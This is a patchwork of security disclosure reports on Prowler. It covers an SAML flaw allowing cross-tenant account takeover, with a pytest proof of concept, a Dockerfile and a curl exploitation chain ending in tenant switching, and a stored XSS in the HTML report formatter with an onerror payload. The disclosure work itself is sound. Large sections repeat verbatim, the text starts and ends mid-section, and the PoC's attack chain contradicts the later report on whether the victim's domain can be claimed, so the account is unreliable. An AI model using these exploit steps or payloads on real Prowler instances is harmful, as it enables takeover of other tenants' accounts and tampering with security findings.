ENV PATH="/prowler/api/.venv/bin:$PATH"
ENV DJANGO_SETTINGS_MODULE=config.django.testing
ENV POSTGRES_HOST=postgres
ENV POSTGRES_USER=prowler_admin
ENV POSTGRES_PASSWORD=prowler_password
ENV POSTGRES_DB=prowler_test_db
ENV POSTGRES_PORT=5432
ENV SECRET_KEY=poc-test-secret-key-not-for-production
ENV SECRETS_ENCRYPTION_KEY=ZMiYVo7m4Fbe2eXXPyrwxdJss2WSalXSv3xHBcJkPl0=
# Provide dummy values for optional services (Valkey/Celery not needed for unit tests)
ENV VALKEY_HOST=localhost
ENV VALKEY_PORT=6379
ENV VALKEY_PASSWORD=""
# Neo4j not needed for adapter tests
ENV NEO4J_USER=neo4j
ENV NEO4J_PASSWORD=neo4j
# Silence Sentry in test runs
ENV DJANGO_SENTRY_DSN=""

CMD ["python", "-m", "pytest", "poc_vuln001.py", "-v", "-s", "--no-header", "--tb=short"]

poc.py

"""
PoC for VULN-001: SAML Domain Claiming Enables Cross-Tenant Account Takeover

Product:  toniblyx/prowler v5.30.0 (commit c2cef99)
CWE:      CWE-287 - Improper Authentication
CVSS:     9.6 (Critical)  AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Vulnerability location:
    api/src/backend/api/adapters.py  lines 17-25  (pre_social_login)
    api/src/backend/config/settings/social_login.py  lines 23, 25, 78

Root cause:
    ProwlerSocialAccountAdapter.pre_social_login() trusts the SAML NameID email
    from the assertion and calls get_user_by_email() which does a GLOBAL user
    table lookup with no tenant-scope or domain-ownership check.  If a user
    with that email already exists, sociallogin.connect() links the attacker's
    SAML session to that account - giving the attacker control of the victim.

Attack chain:
    1. Attacker registers a Prowler account and creates a tenant (normal user).
    2. Attacker POSTs to /api/v1/saml-config claiming email_domain=victim.com.
       models.py only validates format/uniqueness - no ownership proof.
    3. Attacker's IdP (self-controlled) issues a SAMLResponse signed with the
       attacker's certificate, asserting NameID=victim@victim.com.
    4. ACS endpoint (POST /api/v1/accounts/saml/victim.com/acs/) triggers
       pre_social_login.  The adapter looks up victim@victim.com globally and
       calls sociallogin.connect(request, victim_user) - ACCOUNT LINKED.
    5. views.py issues a SAMLToken (JWT) for the victim account.
    6. Attacker uses /api/v1/tokens/saml?id=<token_id> to obtain victim's JWT.

This test proves steps 4 - the critical account-linking step - using the real
production adapter code and a real PostgreSQL database.  sociallogin.connect()
is spied upon (not replaced) so we can capture the exact user object passed in.
"""

import pytest
from unittest.mock import MagicMock

from allauth.socialaccount.models import SocialLogin
from django.contrib.auth import get_user_model

from api.adapters import ProwlerSocialAccountAdapter

User = get_user_model()

VICTIM_EMAIL = "victim@victim.com"
VICTIM_DOMAIN = "victim.com"
ATTACKER_EMAIL = "attacker@evil-corp.com"


# ---------------------------------------------------------------------------
# Helper: print a separator for readable test output
# ---------------------------------------------------------------------------
def section(title: str) -> None:
    width = 70
    print(f"\n{'=' * width}")
    print(f"  {title}")
    print(f"{'=' * width}")


# ---------------------------------------------------------------------------
# Core PoC test
# ---------------------------------------------------------------------------

@pytest.mark.django_db
class TestSAMLDomainClaimingAccountTakeover:
    """
    Proves VULN-001 end-to-end using the real ProwlerSocialAccountAdapter and
    a live PostgreSQL test database created by pytest-django.

    The test creates a victim user in the database, then simulates the exact
    HTTP flow an attacker would trigger via a crafted SAMLResponse.
    """

    def test_attacker_saml_session_links_to_victim_account(self, rf):
        """
        Verify that pre_social_login() links the attacker's SAML sociallogin
        to an existing victim account without ANY domain-ownership check.

        Expected outcome (vulnerability confirmed):
            sociallogin.connect(request, victim_user) is called where
            victim_user.email == VICTIM_EMAIL and victim_user was created
            independently of the SAML session - i.e. the adapter does NOT
            verify that the SAML registrant owns victim.com.
        """
        # ---------------------------------------------------------------
        # STEP 1 - Create the victim's pre-existing account in the database.
        #          In a real attack the victim signed up with email+password
        #          and has an existing Prowler tenant membership.
        # ---------------------------------------------------------------
        section("STEP 1: Create victim account in database")

        victim_user = User.objects.create_user(
            name="Victim User",
            email=VICTIM_EMAIL,
            password="VictimS3cret!",
        )
        # Confirm the user was actually persisted (real DB round-trip)
        fetched = User.objects.get(email=VICTIM_EMAIL)
        assert fetched.id == victim_user.id, "Victim user must exist in database"

        print(f"[+] Victim user created in DB:")
        print(f"    email = {victim_user.email}")
        print(f"    id    = {victim_user.id}")

        # ---------------------------------------------------------------
        # STEP 2 - Simulate the attacker's SAML flow.
        #
        #   a. Attacker previously registered a SAMLConfiguration for
        #      email_domain='victim.com' via POST /api/v1/saml-config.
        #      (No domain ownership proof is required - see models.py:2100)
        #
        #   b. Attacker's self-controlled IdP issues a SAMLResponse signed
        #      with the attacker's certificate, asserting:
        #        NameID = victim@victim.com
        #
        #   c. allauth processes the ACS POST and calls pre_social_login()
        #      before creating/updating the social account record.
        #
        #   We represent the processed SAMLResponse as an allauth SocialLogin
        #   object.  The 'connect' method is spied upon to capture arguments.
        # ---------------------------------------------------------------
        section("STEP 2: Attacker triggers ACS with crafted SAMLResponse")

        # Build the sociallogin object that allauth would construct after
        # validating the SAMLResponse signature (which uses the *attacker's*
        # certificate - no server-side cert pinning for victim.com).
        attacker_saml_login = MagicMock(spec=SocialLogin)
        attacker_saml_login.provider = MagicMock()
        attacker_saml_login.provider.id = "saml"          # Provider discriminator
        attacker_saml_login.account = MagicMock()
        attacker_saml_login.account.extra_data = {}       # SAML uses user.email path
        attacker_saml_login.user = MagicMock()
        # The attacker's IdP signs a NameID of victim@victim.com in the SAMLResponse.
        # This is the email that pre_social_login() will trust without verification.
        attacker_saml_login.user.email = VICTIM_EMAIL
        attacker_saml_login.connect = MagicMock()         # Spy: record call arguments

        # Simulate the ACS request (POST to the victim.com ACS endpoint)
        acs_request = rf.post(
            f"/api/v1/accounts/saml/{VICTIM_DOMAIN}/acs/",
            data={"SAMLResponse": "<attacker-signed-base64>"},
        )

        print(f"[+] Simulated SAMLResponse posted to ACS endpoint:")
        print(f"    URL:    POST /api/v1/accounts/saml/{VICTIM_DOMAIN}/acs/")
        print(f"    NameID: {attacker_saml_login.user.email}  (attacker-controlled)")

        # ---------------------------------------------------------------
        # STEP 3 - Execute the vulnerable adapter method.
        #
        #   api/src/backend/api/adapters.py lines 17-25:
        #
        #   def pre_social_login(self, request, sociallogin):
        #       email = sociallogin.account.extra_data.get("email")  # line 19
        #       if sociallogin.provider.id == "saml":
        #           email = sociallogin.user.email   # line 21 - trusts SAML NameID
        #       if email:
        #           existing_user = self.get_user_by_email(email)  # line 23 - global DB lookup
        #           if existing_user:
        #               sociallogin.connect(request, existing_user)  # line 25 - ACCOUNT LINKED
        # ---------------------------------------------------------------
        section("STEP 3: Execute pre_social_login (vulnerable code path)")

        adapter = ProwlerSocialAccountAdapter()
        print(f"[*] Calling ProwlerSocialAccountAdapter.pre_social_login()")
        print(f"    File: api/src/backend/api/adapters.py:17")

        adapter.pre_social_login(acs_request, attacker_saml_login)

        # ---------------------------------------------------------------
        # STEP 4 - Verify the attack succeeded.
        # ---------------------------------------------------------------
        section("STEP 4: Verify attack outcome")

        assert attacker_saml_login.connect.called, (
            "FAIL: sociallogin.connect() was NOT called - "
            "the attack path did not execute"
        )

        call_args = attacker_saml_login.connect.call_args[0]
        _, connected_user = call_args   # connect(request, existing_user)

        print(f"[!] sociallogin.connect() was called!")
        print(f"    connected user email: {connected_user.email}")
        print(f"    connected user id:    {connected_user.id}")
        print(f"    victim user id:       {victim_user.id}")

        # The connected user must be the VICTIM (looked up from global DB)
        assert connected_user.email == VICTIM_EMAIL, (
            f"FAIL: connect() was called with {connected_user.email!r}, "
            f"expected {VICTIM_EMAIL!r}"
        )
        assert str(connected_user.id) == str(victim_user.id), (
            f"FAIL: connect() user id {connected_user.id} != victim id {victim_user.id}"
        )

        # Confirm no domain-ownership check happened:
        # The adapter does not inspect the SAML configuration to verify that
        # the sociallogin's tenant registered victim.com before accepting the email.
        section("RESULT: VULNERABILITY CONFIRMED")

        print(f"[PASS] CWE-287 Improper Authentication - SAML domain claiming attack")
        print()
        print(f"  Root cause (adapters.py:21-25):")
        print(f"    email = sociallogin.user.email  # trusts SAML NameID: {VICTIM_EMAIL}")
        print(f"    existing_user = self.get_user_by_email(email)  # GLOBAL lookup, no tenant scope")
        print(f"    sociallogin.connect(request, existing_user)  # links attacker session to victim")
        print()
        print(f"  Contributing settings (social_login.py):")
        print(f"    SOCIALACCOUNT_EMAIL_AUTHENTICATION_AUTO_CONNECT = True  # hardcoded")
        print(f"    reject_idp_initiated_sso = False  # IdP-initiated attacks allowed")
        print()
        print(f"  Impact:")
        print(f"    - Attacker obtains JWT token for {VICTIM_EMAIL}")
        print(f"    - Attacker can access victim's cloud security findings")
        print(f"    - Attacker can switch to victim's tenant via /api/v1/tokens/switch")
        print(f"    - No victim interaction required (IdP-initiated SSO enabled)")
        print()
        print(f"  Evidence (this test run):")
        print(f"    - Victim user id in DB:            {victim_user.id}")
        print(f"    - User passed to connect():        {connected_user.id}")
        print(f"    - IDs match (victim's account):   {str(victim_user.id) == str(connected_user.id)}")
        print(f"    - Domain ownership check skipped: True (no SAMLConfiguration lookup in adapter)")

Summary

Prowler's HTML output formatter inserts finding.resource_tags into the generated report without HTML escaping. A cloud principal who can create or edit a resource tag in an account that is later scanned can store HTML or JavaScript in that tag. When another user opens the generated Prowler HTML report, the payload executes in the report page.

Impact

This is stored cross-site scripting in a security report artifact. The attacker needs permission to influence tags on a scanned cloud resource, and the victim must open the generated HTML report. In that context, JavaScript can read and modify the report DOM, alter displayed findings, and interact with any same-origin local or hosted report content available to the browser. This can undermine trust in generated security findings and can expose data contained in the report page.

Gate checks

The repository has 13,875 GitHub stars, which is above the 10,000 star floor. SECURITY.md is present and does not reject GitHub private reporting. The dedicated GitHub private vulnerability reporting endpoint for prowler-cloud/prowler returned true.

Affected versions

The vulnerable sink is present in current master at commit 329dfdf8e6cb8bc0424fb54b6595408e20969782 and in the latest GitHub release tag 5.28.0. The package metadata identifies the Python package as prowler.

Technical details

The HTML formatter builds each finding row with an f-string in prowler/lib/outputs/html/html.py. Neighboring fields are explicitly escaped:

• resource_uid is escaped at line 85 with .replace("<", "&lt;").replace(">", "&gt;").
• status_extended is escaped at line 87 with the same pattern.

The tag column does not apply equivalent escaping:

<td>{parse_html_string(unroll_dict(finding.resource_tags))}</td>

unroll_dict concatenates tag keys and values into a string, and parse_html_string only prefixes each item with an HTML bullet. Neither function escapes <, >, quotes, or event-handler attributes before insertion into the table cell. As a result, a tag value such as this remains active markup in the generated report:

<img src=x onerror="window.PROWLER_TAG_XSS=1">

Reproduction

1. Create or identify a cloud resource that Prowler will include in an HTML report.
2. Add a tag value containing a harmless proof payload, for example:

<img src=x onerror="window.PROWLER_TAG_XSS=1">

3. Run Prowler against the account and generate HTML output.
4. Open the generated HTML report in a browser.
5. The payload executes from the tags column.

A proof HTML fragment using the same formatter structure set window.PROWLER_TAG_XSS=1 from resource_tags, while equivalent payloads in resource_uid and status_extended stayed text because those fields are escaped.

Local evidence:

• /home/unkn0wn/security_audit/vulnerability-reports/prowler-html-tag-xss-evidence-2026-05-26.json
• /home/unkn0wn/security_audit/vulnerability-reports/prowler-html-tag-xss-proof-full.html

PoC

The minimized generated row below mirrors the vulnerable formatter output. The first and third candidate payloads are escaped controls. The middle payload is the unescaped resource_tags value and executes when the report is rendered.

<tr class="table-danger">
  <td>&lt;img src=x onerror="window.PROWLER_UID_XSS=1"&gt;</td>
  <td>
    &#x2022;Owner=<img src=x onerror="window.PROWLER_TAG_XSS=1;document.body.setAttribute('data-prowler-tag-xss','1')">
  </td>
  <td>&lt;img src=x onerror="window.PROWLER_STATUS_XSS=1"&gt;</td>
</tr>

Browser proof result from the local artifact:

{"tag": 1, "uid": 0, "status": 0, "attr": "1"}

Remediation

Escape tag keys and values before inserting them into HTML output. Prefer a single HTML escaping helper for every finding field that can originate from provider data. If bullets or separators are needed, build the list structure after escaping each key and value, rather than escaping the final HTML string after markup has been added.

SAML Tenant Binding Enables Cross-Tenant Account Takeover

Summary

Prowler's SAML authentication flow trusted the email domain asserted in a SAMLResponse when deciding which tenant should receive the final token. A malicious tenant with its own SAML configuration and a self-controlled IdP could complete a valid SAML flow for its own configured domain, while asserting an email address from another configured domain.

In the vulnerable flow, the ACS finish logic later derived the tenant from the asserted email domain instead of binding token issuance to the tenant associated with the validated SAML configuration. This could cause a token to be issued for the wrong tenant.

The attacker does not generally need to claim the victim's email domain. If the victim tenant already has SAML configured for that domain, another tenant cannot claim it because SAMLConfiguration.email_domain and SAMLDomainIndex.email_domain are globally unique.

Details

The confirmed root cause is in the SAML ACS finish and token issuance flow. The flow selected a SAML configuration through the ACS route, but later recalculated the tenant from the asserted user email domain:

email_domain = user.email.split("@")[-1]
tenant = (
    SAMLConfiguration.objects.using(MainRouter.admin_db)
    .get(email_domain=email_domain)
    .tenant
)

This is unsafe because user.email is derived from the SAML assertion. The tenant used for membership updates and token issuance must come from the SAML configuration validated for the current ACS route, not from the asserted email domain.

The attack is made possible by several compounding weaknesses:

1. No domain ownership proof (api/src/backend/api/models.py:2100, 2130-2152): SAMLConfiguration.email_domain is validated for format and global uniqueness, but not for domain ownership. Any authenticated tenant admin can claim an unclaimed domain string, but cannot claim a domain already configured by another tenant.

2. Global SAML domain index (api/src/backend/api/models.py:2200-2201): SAMLDomainIndex.update_or_create(email_domain=self.email_domain, defaults={'tenant': self.tenant}) maps each configured domain to its tenant. If token issuance later trusts the asserted email domain, it can resolve a tenant different from the one selected by the ACS route.

3. Hardcoded auto-connect (api/src/backend/config/settings/social_login.py:23, 25): SOCIALACCOUNT_EMAIL_AUTHENTICATION = True and SOCIALACCOUNT_EMAIL_AUTHENTICATION_AUTO_CONNECT = True are hardcoded and cannot be disabled at runtime.

4. IdP-initiated SSO enabled (api/src/backend/config/settings/social_login.py:78): reject_idp_initiated_sso: False allows the attacker to initiate the flow without requiring any action from the victim.

5. Token issuance for the wrong tenant (api/src/backend/api/v1/views.py:853-873): after SAML authentication, the vulnerable ACS finish flow could create membership and issue a SAMLToken using a tenant derived from the asserted email domain instead of the validated SAML configuration.

6. Token switch impact (api/src/backend/api/v1/serializers.py:272): the token switch endpoint checks that the authenticated user is a member of the target tenant. If the attacker obtains a JWT for the victim user, they can switch into tenants where that user is already a member.

PoC

Environment setup:

# Build the PoC Docker image (build context = repo root)
docker build -t vuln001-poc -f vuln-001/Dockerfile .

# Start the stack (PostgreSQL + PoC runner)
docker compose -f vuln-001/docker-compose-poc.yml up --no-build --abort-on-container-exit

Automated test (runs inside the container):

python -m pytest poc_vuln001.py -v -s --no-header --tb=short

Manual HTTP exploitation chain (against a live Prowler API):

Step 1 - Attacker configures SAML for their own email domain:

curl -i -X POST "$API/api/v1/saml-config" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" \
  -H "Content-Type: application/vnd.api+json" \
  --data '{
    "data":{"type":"saml-configurations","attributes":{
      "email_domain":"attacker.com",
      "metadata_xml":"<md:EntityDescriptor entityID=\"evil-idp\" xmlns:md=\"urn:oasis:names:tc:SAML:2.0:metadata\">...attacker cert and SSO URL...</md:EntityDescriptor>"
    }}
  }'

The attacker does not need to claim victim.com. If victim.com is already configured by the victim tenant, the attacker cannot claim it because SAML domains are globally unique.

Step 2 - Attacker posts a signed SAMLResponse asserting user@victim.com:

# SIGNED_ASSERTION is a base64-encoded SAMLResponse signed with the attacker's private key,
# valid for the attacker's configured IdP, but asserting NameID = user@victim.com
curl -i -L -c c.jar -b c.jar \
  -X POST "$API/api/v1/accounts/saml/attacker.com/acs/" \
  --data-urlencode "SAMLResponse=$SIGNED_ASSERTION"

Step 3 - Vulnerable ACS finish logic derives the tenant from the asserted email domain:

In the vulnerable version, the finish flow used user.email.split("@")[-1] to resolve the tenant. If the asserted domain mapped to another tenant's SAML configuration, token issuance could be bound to the wrong tenant.

Step 4 - Exchange the SAML token for a victim JWT:

curl -s -X POST "$API/api/v1/tokens/saml?id=$SAML_TOKEN_ID"
# Returns access/refresh JWT if the temporary SAML token is valid and has not expired

Step 5 - Switch into the victim's real tenant:

curl -s -X POST "$API/api/v1/tokens/switch" \
  -H "Authorization: Bearer $VICTIM_JWT" \
  -H "Content-Type: application/vnd.api+json" \
  --data '{
    "data":{
      "type":"tokens-switch-tenant",
      "attributes":{
        "tenant_id":"<victim-real-tenant-uuid>"
      }
    }
  }'
# Returns a valid token scoped to the victim's tenant

Observed output from the automated PoC:

Note: this adapter-focused PoC demonstrates the account-linking behavior, but it does not prove the full token issuance chain by itself. The full exploit depends on the ACS finish flow issuing a token for a tenant derived from the asserted email domain.

[+] Victim user created in DB:
    email = victim@victim.com
    id    = b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
[+] Simulated SAMLResponse posted to ACS endpoint:
    URL:    POST /api/v1/accounts/saml/victim.com/acs/
    NameID: victim@victim.com  (attacker-controlled)
[*] Calling ProwlerSocialAccountAdapter.pre_social_login()
    File: api/src/backend/api/adapters.py:17
[!] sociallogin.connect() was called!
    connected user email: victim@victim.com
    connected user id:    b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
    victim user id:       b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
  - Victim user id in DB:            b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
  - User passed to connect():        b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
  - IDs match (victim's account):   True
  - Domain ownership check skipped: True (no SAMLConfiguration lookup in adapter)
PASSED
======================== 1 passed, 2 warnings in 35.42s ========================

Recommended remediation (api/src/backend/api/v1/views.py):

Bind token issuance to the SAML configuration selected by the ACS route.

The ACS finish flow should verify that the following values all match:

• the organization_slug from the ACS route
• the SAMLConfiguration.email_domain
• the domain portion of the asserted SAML user email

Then issue the token using the tenant from that validated SAML configuration:

tenant = saml_config.tenant

The tenant must not be recalculated from user.email.

Impact

This is an Improper Authentication (CWE-287) vulnerability that enables cross-tenant account takeover. An authenticated Prowler user with a controlled SAML IdP could potentially obtain a token for another tenant if the ACS finish flow derived the tenant from the asserted email domain instead of the validated SAML configuration.

Who is impacted: users of Prowler instances where SAML is enabled and the target email domain maps to a configured SAML tenant. Because reject_idp_initiated_sso is False, no victim interaction is required once the attacker controls a valid SAML configuration and IdP for their own tenant.

Consequences:

• Full read/write access to the victim's cloud security audit findings across all configured providers (AWS, GCP, Azure, etc.)
• Ability to enumerate, modify, or delete compliance findings and integration secrets within the victim's tenant
• Lateral movement into any additional tenants the victim belongs to via the token switch endpoint
• Possible persistent access depending on the SAML account-linking behavior in the affected version

Reproduction artifacts

Dockerfile

# Dockerfile for VULN-001 PoC: SAML Domain Claiming Enables Cross-Tenant Account Takeover
#
# Builds a minimal Prowler API test environment to reproduce the vulnerability
# in api/src/backend/api/adapters.py (pre_social_login, lines 17-25).
#
# Build context must be the parent directory:
#   docker build -t vuln001-poc -f vuln-001/Dockerfile .

FROM python:3.12.10-slim-bookworm

LABEL maintainer="security-research"
LABEL description="PoC environment for VULN-001: SAML domain claiming account takeover"

# Install system packages required for:
#   - xmlsec (python-saml / django-allauth SAML): libxml2, libxmlsec1
#   - psycopg2: PostgreSQL client headers
#   - uv / prowler git dep: git, gcc, g++
RUN apt-get update && apt-get install -y --no-install-recommends \
    gcc \
    g++ \
    make \
    git \
    libxml2-dev \
    libxmlsec1-dev \
    libxmlsec1-openssl \
    pkg-config \
    libtool \
    libxslt1-dev \
    python3-dev \
    && rm -rf /var/lib/apt/lists/*

# Install uv (same version as the original Dockerfile)
RUN pip install --no-cache-dir uv==0.11.14

WORKDIR /prowler

# Copy API dependency manifests first (for layer caching)
COPY repo/api/pyproject.toml repo/api/uv.lock ./api/

# Install all Python dependencies from the locked file.
# This includes: django, django-allauth[saml], prowler (from git), psycopg2, etc.
WORKDIR /prowler/api
RUN uv sync --locked --no-install-project && rm -rf ~/.cache/uv

# Copy the full backend source code
COPY repo/api/src/backend/ ./src/backend/

# Copy the PoC test into the backend working directory so pytest can discover it
COPY vuln-001/poc.py ./src/backend/poc_vuln001.py

WORKDIR /prowler/api/src/backend

# Set up environment variables for the test run.
# DJANGO_SETTINGS_MODULE points to config.django.testing which uses PostgreSQL.
ENV PATH="/prowler/api/.venv/bin:$PATH"
ENV DJANGO_SETTINGS_MODULE=config.django.testing
ENV POSTGRES_HOST=postgres
ENV POSTGRES_USER=prowler_admin
ENV POSTGRES_PASSWORD=prowler_password
ENV POSTGRES_DB=prowler_test_db
ENV POSTGRES_PORT=5432
ENV SECRET_KEY=poc-test-secret-key-not-for-production
ENV SECRETS_ENCRYPTION_KEY=ZMiYVo7m4Fbe2eXXPyrwxdJss2WSalXSv3xHBcJkPl0=
# Provide dummy values for optional services (Valkey/Celery not needed for unit tests)
ENV VALKEY_HOST=localhost
ENV VALKEY_PORT=6379
ENV VALKEY_PASSWORD=""
# Neo4j not needed for adapter tests
ENV NEO4J_USER=neo4j
ENV NEO4J_PASSWORD=neo4j
# Silence Sentry in test runs
ENV DJANGO_SENTRY_DSN=""

CMD ["python", "-m", "pytest", "poc_vuln001.py", "-v", "-s", "--no-header", "--tb=short"]

poc.py

"""
PoC for VULN-001: SAML Domain Claiming Enables Cross-Tenant Account Takeover

Product:  toniblyx/prowler v5.30.0 (commit c2cef99)
CWE:      CWE-287 - Improper Authentication
CVSS:     9.6 (Critical)  AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Vulnerability location:
    api/src/backend/api/adapters.py  lines 17-25  (pre_social_login)
    api/src/backend/config/settings/social_login.py  lines 23, 25, 78

Root cause:
    ProwlerSocialAccountAdapter.pre_social_login() trusts the SAML NameID email
    from the assertion and calls get_user_by_email() which does a GLOBAL user
    table lookup with no tenant-scope or domain-ownership check.  If a user
    with that email already exists, sociallogin.connect() links the attacker's
    SAML session to that account - giving the attacker control of the victim.

Attack chain:
    1. Attacker registers a Prowler account and creates a tenant (normal user).
    2. Attacker POSTs to /api/v1/saml-config claiming email_domain=victim.com.
       models.py only validates format/uniqueness - no ownership proof.
    3. Attacker's IdP (self-controlled) issues a SAMLResponse signed with the
       attacker's certificate, asserting NameID=victim@victim.com.
    4. ACS endpoint (POST /api/v1/accounts/saml/victim.com/acs/) triggers
       pre_social_login.  The adapter looks up victim@victim.com globally and
       calls sociallogin.connect(request, victim_user) - ACCOUNT LINKED.
    5. views.py issues a SAMLToken (JWT) for the victim account.
    6. Attacker uses /api/v1/tokens/saml?id=<token_id> to obtain victim's JWT.

This test proves steps 4 - the critical account-linking step - using the real
production adapter code and a real PostgreSQL database.  sociallogin.connect()
is spied upon (not replaced) so we can capture the exact user object passed in.
"""

import pytest
from unittest.mock import MagicMock

from allauth.socialaccount.models import SocialLogin
from django.contrib.auth import get_user_model

from api.adapters import ProwlerSocialAccountAdapter

User = get_user_model()

VICTIM_EMAIL = "victim@victim.com"
VICTIM_DOMAIN = "victim.com"
ATTACKER_EMAIL = "attacker@evil-corp.com"


# ---------------------------------------------------------------------------
# Helper: print a separator for readable test output
# ---------------------------------------------------------------------------
def section(title: str) -> None:
    width = 70
    print(f"\n{'=' * width}")
    print(f"  {title}")
    print(f"{'=' * width}")


# ---------------------------------------------------------------------------
# Core PoC test
# ---------------------------------------------------------------------------

@pytest.mark.django_db
class TestSAMLDomainClaimingAccountTakeover:
    """
    Proves VULN-001 end-to-end using the real ProwlerSocialAccountAdapter and
    a live PostgreSQL test database created by pytest-django.

    The test creates a victim user in the database, then simulates the exact
    HTTP flow an attacker would trigger via a crafted SAMLResponse.
    """

    def test_attacker_saml_session_links_to_victim_account(self, rf):
        """
        Verify that pre_social_login() links the attacker's SAML sociallogin
        to an existing victim account without ANY domain-ownership check.

        Expected outcome (vulnerability confirmed):
            sociallogin.connect(request, victim_user) is called where
            victim_user.email == VICTIM_EMAIL and victim_user was created
            independently of the SAML session - i.e. the adapter does NOT
            verify that the SAML registrant owns victim.com.
        """
        # ---------------------------------------------------------------
        # STEP 1 - Create the victim's pre-existing account in the database.
        #          In a real attack the victim signed up with email+password
        #          and has an existing Prowler tenant membership.
        # ---------------------------------------------------------------
        section("STEP 1: Create victim account in database")

        victim_user = User.objects.create_user(
            name="Victim User",
            email=VICTIM_EMAIL,
            password="VictimS3cret!",
        )
        # Confirm the user was actually persisted (real DB round-trip)
        fetched = User.objects.get(email=VICTIM_EMAIL)
        assert fetched.id == victim_user.id, "Victim user must exist in database"

        print(f"[+] Victim user created in DB:")
        print(f"    email = {victim_user.email}")
        print(f"    id    = {victim_user.id}")

        # ---------------------------------------------------------------
        # STEP 2 - Simulate the attacker's SAML flow.
        #
        #   a. Attacker previously registered a SAMLConfiguration for
        #      email_domain='victim.com' via POST /api/v1/saml-config.
        #      (No domain ownership proof is required - see models.py:2100)
        #
        #   b. Attacker's self-controlled IdP issues a SAMLResponse signed
        #      with the attacker's certificate, asserting:
        #        NameID = victim@victim.com
        #
        #   c. allauth processes the ACS POST and calls pre_social_login()
        #      before creating/updating the social account record.
        #
        #   We represent the processed SAMLResponse as an allauth SocialLogin
        #   object.  The 'connect' method is spied upon to capture arguments.
        # ---------------------------------------------------------------
        section("STEP 2: Attacker triggers ACS with crafted SAMLResponse")

        # Build the sociallogin object that allauth would construct after
        # validating the SAMLResponse signature (which uses the *attacker's*
        # certificate - no server-side cert pinning for victim.com).
        attacker_saml_login = MagicMock(spec=SocialLogin)
        attacker_saml_login.provider = MagicMock()
        attacker_saml_login.provider.id = "saml"          # Provider discriminator
        attacker_saml_login.account = MagicMock()
        attacker_saml_login.account.extra_data = {}       # SAML uses user.email path
        attacker_saml_login.user = MagicMock()
        # The attacker's IdP signs a NameID of victim@victim.com in the SAMLResponse.
        # This is the email that pre_social_login() will trust without verification.
        attacker_saml_login.user.email = VICTIM_EMAIL
        attacker_saml_login.connect = MagicMock()         # Spy: record call arguments

        # Simulate the ACS request (POST to the victim.com ACS endpoint)
        acs_request = rf.post(
            f"/api/v1/accounts/saml/{VICTIM_DOMAIN}/acs/",
            data={"SAMLResponse": "<attacker-signed-base64>"},
        )

        print(f"[+] Simulated SAMLResponse posted to ACS endpoint:")
        print(f"    URL:    POST /api/v1/accounts/saml/{VICTIM_DOMAIN}/acs/")
        print(f"    NameID: {attacker_saml_login.user.email}  (attacker-controlled)")

        # ---------------------------------------------------------------
        # STEP 3 - Execute the vulnerable adapter method.
        #
        #   api/src/backend/api/adapters.py lines 17-25:
        #
        #   def pre_social_login(self, request, sociallogin):
        #       email = sociallogin.account.extra_data.get("email")  # line 19
        #       if sociallogin.provider.id == "saml":
        #           email = sociallogin.user.email   # line 21 - trusts SAML NameID
        #       if email:
        #           existing_user = self.get_user_by_email(email)  # line 23 - global DB lookup
        #           if existing_user:
        #               sociallogin.connect(request, existing_user)  # line 25 - ACCOUNT LINKED
        # ---------------------------------------------------------------
        section("STEP 3: Execute pre_social_login (vulnerable code path)")

        adapter = ProwlerSocialAccountAdapter()
        print(f"[*] Calling ProwlerSocialAccountAdapter.pre_social_login()")
        print(f"    File: api/src/backend/api/adapters.py:17")

        adapter.pre_social_login(acs_request, attacker_saml_login)

        # ---------------------------------------------------------------
        # STEP 4 - Verify the attack succeeded.
        # ---------------------------------------------------------------
        section("STEP 4: Verify attack outcome")

        assert attacker_saml_login.connect.called, (
            "FAIL: sociallogin.connect() was NOT called - "
            "the attack path did not execute"
        )

        call_args = attacker_saml_login.connect.call_args[0]
        _, connected_user = call_args   # connect(request, existing_user)

        print(f"[!] sociallogin.connect() was called!")
        print(f"    connected user email: {connected_user.email}")
        print(f"    connected user id:    {connected_user.id}")
        print(f"    victim user id:       {victim_user.id}")

        # The connected user must be the VICTIM (looked up from global DB)
        assert connected_user.email == VICTIM_EMAIL, (
            f"FAIL: connect() was called with {connected_user.email!r}, "
            f"expected {VICTIM_EMAIL!r}"
        )
        assert str(connected_user.id) == str(victim_user.id), (
            f"FAIL: connect() user id {connected_user.id} != victim id {victim_user.id}"
        )

        # Confirm no domain-ownership check happened:
        # The adapter does not inspect the SAML configuration to verify that
        # the sociallogin's tenant registered victim.com before accepting the email.
        section("RESULT: VULNERABILITY CONFIRMED")

        print(f"[PASS] CWE-287 Improper Authentication - SAML domain claiming attack")
        print()
        print(f"  Root cause (adapters.py:21-25):")
        print(f"    email = sociallogin.user.email  # trusts SAML NameID: {VICTIM_EMAIL}")
        print(f"    existing_user = self.get_user_by_email(email)  # GLOBAL lookup, no tenant scope")
        print(f"    sociallogin.connect(request, existing_user)  # links attacker session to victim")
        print()
        print(f"  Contributing settings (social_login.py):")
        print(f"    SOCIALACCOUNT_EMAIL_AUTHENTICATION_AUTO_CONNECT = True  # hardcoded")
        print(f"    reject_idp_initiated_sso = False  # IdP-initiated attacks allowed")
        print()
        print(f"  Impact:")
        print(f"    - Attacker obtains JWT token for {VICTIM_EMAIL}")
        print(f"    - Attacker can access victim's cloud security findings")
        print(f"    - Attacker can switch to victim's tenant via /api/v1/tokens/switch")
        print(f"    - No victim interaction required (IdP-initiated SSO enabled)")
        print()
        print(f"  Evidence (this test run):")
        print(f"    - Victim user id in DB:            {victim_user.id}")
        print(f"    - User passed to connect():        {connected_user.id}")
        print(f"    - IDs match (victim's account):   {str(victim_user.id) == str(connected_user.id)}")
        print(f"    - Domain ownership check skipped: True (no SAMLConfiguration lookup in adapter)")

Summary

Prowler's HTML output formatter inserts finding.resource_tags into the generated report without HTML escaping. A cloud principal who can create or edit a resource tag in an account that is later scanned can store HTML or JavaScript in that tag. When another user opens the generated Prowler HTML report, the payload executes in the report page.

Impact

This is stored cross-site scripting in a security report artifact. The attacker needs permission to influence tags on a scanned cloud resource, and the victim must open the generated HTML report. In that context, JavaScript can read and modify the report DOM, alter displayed findings, and interact with any same-origin local or hosted report content available to the browser. This can undermine trust in generated security findings and can expose data contained in the report page.

Gate checks

